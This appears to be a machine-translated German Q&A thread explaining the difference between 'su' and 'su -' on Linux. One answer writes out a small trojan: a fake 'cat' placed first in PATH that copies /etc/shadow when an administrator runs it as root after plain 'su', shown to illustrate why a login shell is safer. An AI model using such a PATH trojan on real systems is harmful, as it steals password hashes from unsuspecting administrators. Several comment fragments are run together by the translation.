Ich verstehe nicht, warum su -
es vorgezogen wird su
, sich als root anzumelden.
quelle
Ich verstehe nicht, warum su -
es vorgezogen wird su
, sich als root anzumelden.
su -
ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet eine saubere Basis.
su
Wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung zur Verfügung, die fast der des alten Benutzers entspricht.
Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf einen Computer und Ihr ignoranter Administrator gewährt Ihnen keinen Root-Zugriff. Lass ihn (hoffentlich) austricksen.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Jetzt fragst du deinen Administrator, warum du cat
die Dummy-Datei in deinem Home-Ordner nicht finden kannst, sie wird einfach nicht funktionieren!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Wenn Ihr Administrator nicht so schlau oder nur ein bisschen faul ist, kommt er möglicherweise an Ihren Schreibtisch und versucht es mit seinen Super-User-Kräften:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Beeindruckend! Danke, super Admin!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Er, er.
Möglicherweise haben Sie bemerkt, dass die beschädigte $PATH
Variable nicht zurückgesetzt wurde. Dies wäre nicht geschehen, wenn der Administrator su -
stattdessen aufgerufen hätte.
su --
ist das gleiche wiesu
.umask
Zahl wie 000 einzustellen, da dies sonst nicht funktioniert.su
Datei in den PATH legen . Es ist nicht so schwer, das Verhalten des Realen nachzuahmensu
. Der Superuser war sowieso nachlässig :-)su --
ist NICHT das Gleiche wiesu -
:--
Weist einen getopt (s) (oder ähnlichen) Optionshandler an, die Verarbeitung der Befehlszeile für weitere Optionen zu beenden (nützlich, wenn der Rest z. B. Dateinamen enthält, die mit einem '-' beginnen könnten). Das heißt, in „rm -i - -f“: -f dann als reguläres Argument behandelt wird, so hier als Name der Datei zurm -i
, und nicht als zusaetzliche-f
Option auf denrm
Befehl. Sosu --
ist es einfachsu
und nichtsu -
! Sosu --
wäre als unsicher auf das (lustig und lehrreich ) Beispiel Givan von wag. Verwenden Siesu -
.su -
Meldet Sie vollständig als root an,su
wodurch Sie so tun, als wären Sie root.Das naheliegendste Beispiel hierfür ist das
~
Basisverzeichnis von root, wenn Sie es verwendensu -
, und Ihr eigenes Basisverzeichnis, wenn Sie es verwendensu
.Abhängig von Ihrem System kann dies auch zu Unterschieden bei Eingabeaufforderung
PATH
oder Verlaufsdatei führen.Wenn Sie also Teil eines Teams sind, das ein System verwaltet, und Ihr Kollege Ihnen einen Befehl zum Ausführen gibt, wissen Sie, dass er bei Verwendung beider Systeme gleich funktioniert. Wenn Sie jedoch beide Systeme
su -
verwendensu
, kann dies zu Unterschieden führen verschiedene Shell-Konfigurationen.Wenn Sie andererseits einen Befehl als root ausführen möchten, aber Ihre eigene Konfiguration verwenden möchten, ist dies möglicherweise
su
besser für Sie.Vergiss auch nicht
sudo
, dass es eine-s
Option gibt, eine Shell zu starten, die als root ausgeführt wird. Dies hat natürlich auch andere Regeln, die sich je nach verwendeter Distribution ändern.quelle
.bashrc
oder/etc/bashrc
oder/etc/profile.d
Skripte werden eingestelltPATH
. Suchen Sie nachif [ $UID -eq 0 ]
oder so ähnlich.$USER
zum Beispiel bleibt unverändert.sudo su
?Ich benutze su - wenn ich als normaler Benutzer in einem Verzeichnis bin, aber zum Stammverzeichnis wechseln und nach dem Wechsel im selben Verzeichnis bleiben möchte. Wenn Sie su verwenden, wechselt der Benutzer zu root und Sie gelangen auch zu / root, dem Stammverzeichnis.
quelle
/
oder was auch immer als Stammverzeichnis definiert istDer Hauptunterschied ist:
su - username
Richtet die Shell-Umgebung so ein, als wäre sie eine saubere Anmeldung als angegebener Benutzer. Sie greift auf die Umgebungsvariablen der angegebenen Benutzer zu und verwendet diese.su username
Startet einfach eine Shell mit den aktuellen Umgebungseinstellungen für den angegebenen Benutzer.Wenn der Benutzername nicht mit
su
und angegebensu -
wird, wird standardmäßig das Root-Konto verwendet.quelle